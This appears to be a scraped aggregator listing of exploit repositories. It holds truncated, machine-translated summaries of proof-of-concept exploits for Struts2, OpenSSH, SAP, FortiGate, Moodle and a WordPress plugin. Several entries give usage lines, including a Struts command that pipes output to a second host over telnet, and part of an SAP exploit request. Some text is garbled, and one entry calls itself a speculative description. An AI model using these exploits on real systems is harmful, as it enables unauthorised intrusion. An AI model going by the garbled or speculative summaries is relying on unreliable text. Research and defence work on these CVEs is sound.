CVE-2026-90932 LaraDashboard 0.9.2 through 1.2.2 Path Traversal RCE

LaraDashboard versions 0.9.2 through 1.2.2 contain a path traversal vulnerability in the core-upgrade backup handling. CoreUpgradeController and BackupService e.g. BackupService::deleteBackup concatenate the user-supplied backupfile/filename value directly onto the backup directory path without...

CVE-2026-90932

LaraDashboard versions 0.9.2 through 1.2.2 contain a path traversal vulnerability in core-upgrade backup handling. The CoreUpgradeController and BackupService concatenate a user-supplied backup_file/filename value directly onto the backup directory path without normalisation or path-containment c...

CVE-2024-6387

CVE-2024-6387 OpenSSH 服务器（sshd）中的信号处理程序竞争条件 描述 针对基于glibc的Linux系统上OpenSSH服务器（sshd）中CVE-2024-6387信号处理程序竞争条件的利用程序。该漏洞允许以root身份远程执行代码，原因是在SIGALRM处理程序中调用了异步信号不安全的函数。 安装 $ make all 用法 $ ./exp 利用详情 漏洞概要 该利用程序针对OpenSSH的sshd中的SIGALRM处理程序竞争条件： 受影响版本 = 'SSH-2.0-OpenSSH8.9p1 Ubuntu-3ubuntu0.10',...

CVE-2024-38077

CVE-2024-38077 以下是 CVE-2024-38077 可能的 GitHub 描述： CVE-2024-38077：Windows 远程桌面许可服务中的远程代码执行漏洞 概述： CVE-2024-38077 是 Windows 远程桌面许可服务中的一个严重漏洞，允许远程攻击者在易受攻击的系统上执行任意代码。该漏洞源于服务在处理特定输入时发生堆溢出。利用此漏洞可能导致系统完全沦陷，使攻击者无需身份验证即可控制目标。 受影响系统： Windows Server 2016 Windows Server 2019 Windows Server 2022 安装了远程桌面许可的...

CVE-2026-15718-who-put-ptrs-in-my-wasm

CVE-2026-15718 — 谁把指针放进了我的 wasm 针对 CVE-2026-15718 的概念验证漏洞利用链，该漏洞是 Mozilla SpiderMonkey 的 WebAssembly baseline 编译器（"JavaScript: WebAssembly" 组件）中一处缺失 sync 的错误编译。单个零次循环的 array.fill 即可产生 fakeobj 原语；该利用链可升级为对宿主进程的任意读/写 以及任意本机代码执行 （posixspawnp"/bin/sh", ...）。 CVE： CVE-2026-15718（CWE-763，无效指针的释放） 受影响版本...

CVE-2022-21907

CVE-2022-21907 Descripción root@kitploit: POC para CVE-2022-21907: HTTP Protocol Stack Remote Code Execution Vulnerability. Creado por Malwareman el 2022-09-17. Detalle root@kitploit: HTTP Protocol Stack Remote Code Execution Vulnerability. Similar a...

watchTowr-vs-FortiSIEM-CVE-2025-25256

watchTowr-vs-FortiSIEM-CVE-2025-25256 Generador de artefactos de detección para FortiSIEM CVE-2025-25256 https://github.com/user-attachments/assets/1aa1040a-af34-460d-8844-1e440efa9ba1 Consulte nuestra publicación en el blog para obtener detalles técnicos Detección en acción root@kitploit: python...

Apache-APISIX-CVE-2022-24112

Exploit de Ejecución Remota de Código en Apache APISIX CVE-2022-24112 Resumen Un atacante puede abusar del plugin batch-requests para enviar solicitudes y eludir la restricción de IP de la Admin API. Una configuración predeterminada de Apache APISIX con la clave de API predeterminada es vulnerabl...

CVE-2021-44168

CVE-2021-44168 のエクスプロイト 目的 CVE-2021-44168 を悪用して Fortigate ファイアウォールにシェルを落とし、Fortigate の CLI コマンド実行時に動作する LDPRELOAD トリックを介してアクセスを有効にします。root シェルが得られます。 使用方法 コンパイル: root@kitploit: gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz 実行: root@kitploit: % ./gensrc-vispkgfile ./gensrc-vispkgfile -t | -p...

oieh-router-checker

OIEH Router Checker 一键即可检查我的路由器是否属于中国产后门（ENDLESSDOORS）的 Windows 程序 无需安装 · 无需管理员权限 · 不向外部传输数据 这是什么？ 2026 年 8 月，安全公司 VulnCheck 在中国 Zbtlink（深圳智博通电子）/ Wiflyer 及其 OEM（贴牌）路由器 20 个型号 的官方固件中发现了远程控制后门。 名称： ENDLESSDOORS · 漏洞编号： CVE-2026-66747（严重度 9.3/10） 行为： 通电后自动运行，大约每 35 秒...

majordomo-CVE-2026-27174-poc

majordomo-CVE-2026-27174-poc 这是一个概念验证（PoC），利用 MajorDomo（Major Domestic Module）管理面板的 PHP 控制台功能，实现未经身份验证的远程代码执行。 漏洞 MajorDoMo 的管理面板通过 /admin.php 暴露了一个 PHP 求值控制台。由于 panel.class.php 在身份验证重定向后缺少 exit，AJAX 处理器 incpanelajax.php 会被无条件包含——使得任何未经身份验证的 HTTP 请求都能触达其 eval。 攻击者只需一个 GET 请求即可执行任意 PHP...

CVE-2026-14483

CVE-2026-14483 — WPL 房地产 RCE 针对 Realtyna WPL Real Estate Listing WordPress 插件的未认证远程代码执行。 字段| 详情 ---|--- CVE| CVE-2026-14483 受影响版本| 默认情况下，脚本仅 攻击运行 WPL 5.2.0 的目标。使用 --force 可覆盖此限制。 图片 漏洞概述 1. 凭据泄露 — 默认的 apikey / apisecret 通过公开的 SQL 迁移转储文件暴露。 2. 未认证上传 — 这些凭据可通过 WPL I/O API（setproperty）进行认证，从而允许将精心构造...

-CVE-2017-9805

脆弱性情報 リソース: https://vulners.com/cve/CVE-2017-9805 これは何ですか？ S2-052 に対して脆弱な Struts2 をホストするシステムのシェルにリモートコマンドを実行できる Python エクスプロイトスクリプトです。 使用方法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAP 漏洞利用 root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

cve-2020-0796

CVE-2020-0796の脆弱性をその場で特定し緩和する CVE-2020-0796は、Server Message Block 3.0 SMBv3ネットワーク通信プロトコルに存在するリモートコード実行前の脆弱性であり、Microsoftは2020年3月の Tuesdayでこの問題に対処しない。 使い方 python3 cve-2020-0796-scanner.py IP CVE-2020-0796はどのデバイスに影響を与えるか？ SMBプロトコルでのパケット要求ネゴシエーション 脆弱性の詳細とその緩和方法については、私の投稿を確認してください；...

CVE-2022-42475

CVE-2022-42475 背景 これは、こちらのブログ記事（https://bishopfox.com/blog/exploit-cve-2022-42475）のエクスプロイトです。 編集版 このバージョンのエクスプロイトは、ハッカーであるあなたがROPガジェットなどに必要なメモリアドレスを提供しない限り動作しません。これらのデータを特定する作業はBishop Foxの機密情報であり、私はこのエクスプロイトと共に公開することはできません（しません）。ご理解いただけると幸いです！ 動作モード 検証のみ、エクスプロイトなし。脆弱性の有無を判定します。ペイロードもシェルコードもありません。...

f5_rce_poc

使い方 root@kitploit: python3 f5rce.py -u 対象URLを指定 -f バッチ検出ファイル -c コマンドを実行 -s/--ssrf SSRFを介してtokenを取得しコマンドを実行 実行結果は以下の通りです： root@kitploit: python3 f5rce.py -u 127.0.0.1 --ssrf コマンド実行後、exitと入力して終了 PS：出力が美しくないので、修正します😁 今後の予定 更新： 一部のコマンド実行異常ケースを修正 SSRFによるToken取得・コマンド実行機能を追加 1. 正規表現でマッチング、出力を美化 2...

PoC-CVE-2025-26529

CVE-2025-26529 の PoC – Moodle XSS to RCE エクスプロイト これは、Moodle における SSRF to XSS → XSS to RCE 脆弱性チェーンを実証する Proof of Concept PoC です。 概要 完全なエクスプロイトチェーンを示すために必要なファイルをすべてアップロードしました。 1. SSRF から XSS 2. 管理者 Cookie の取得 3. 管理者 Cookie を使用して Moodle でリモートコード実行 RCE を達成 Moodle バージョン 4.4.5 Build: 20241209 でテスト済みです。...

CVE-2021-26295

CVE-2021-26295-POC 利用DNSlog进行CVE-2021-26295的漏洞验证。 使用 poc: 将目标放于 target.txt 后运行python poc.py即可。（Jdk环境需12，否则ysoserial不能正常生成payload） exp: python exp.py https://baidu.com 然后进入命令执行界面（无回显） 仅供学习交流，请勿用于其他用途。...

CVE-2020-1493

CVE-2020-1493 この脆弱性は、Windows 10 1909 x64 にインストールされた Outlook 2019 16.0.12624.20424 で発生します。また、この脆弱性は ゼロクリック 脆弱性です。 要約 このバグは winafl ファザーを使用して発見しました。このバグは、ms-tnef ファイル（eml ファイルの添付ファイル）の解析中に発生します。脆弱なメソッドは、vftable ポインタに範囲外のデータを読み取って使用します。そのため、攻撃者がこの脆弱性の悪用に成功すると、リモートコマンド実行がトリガーされます。 詳細 root@kitploit:...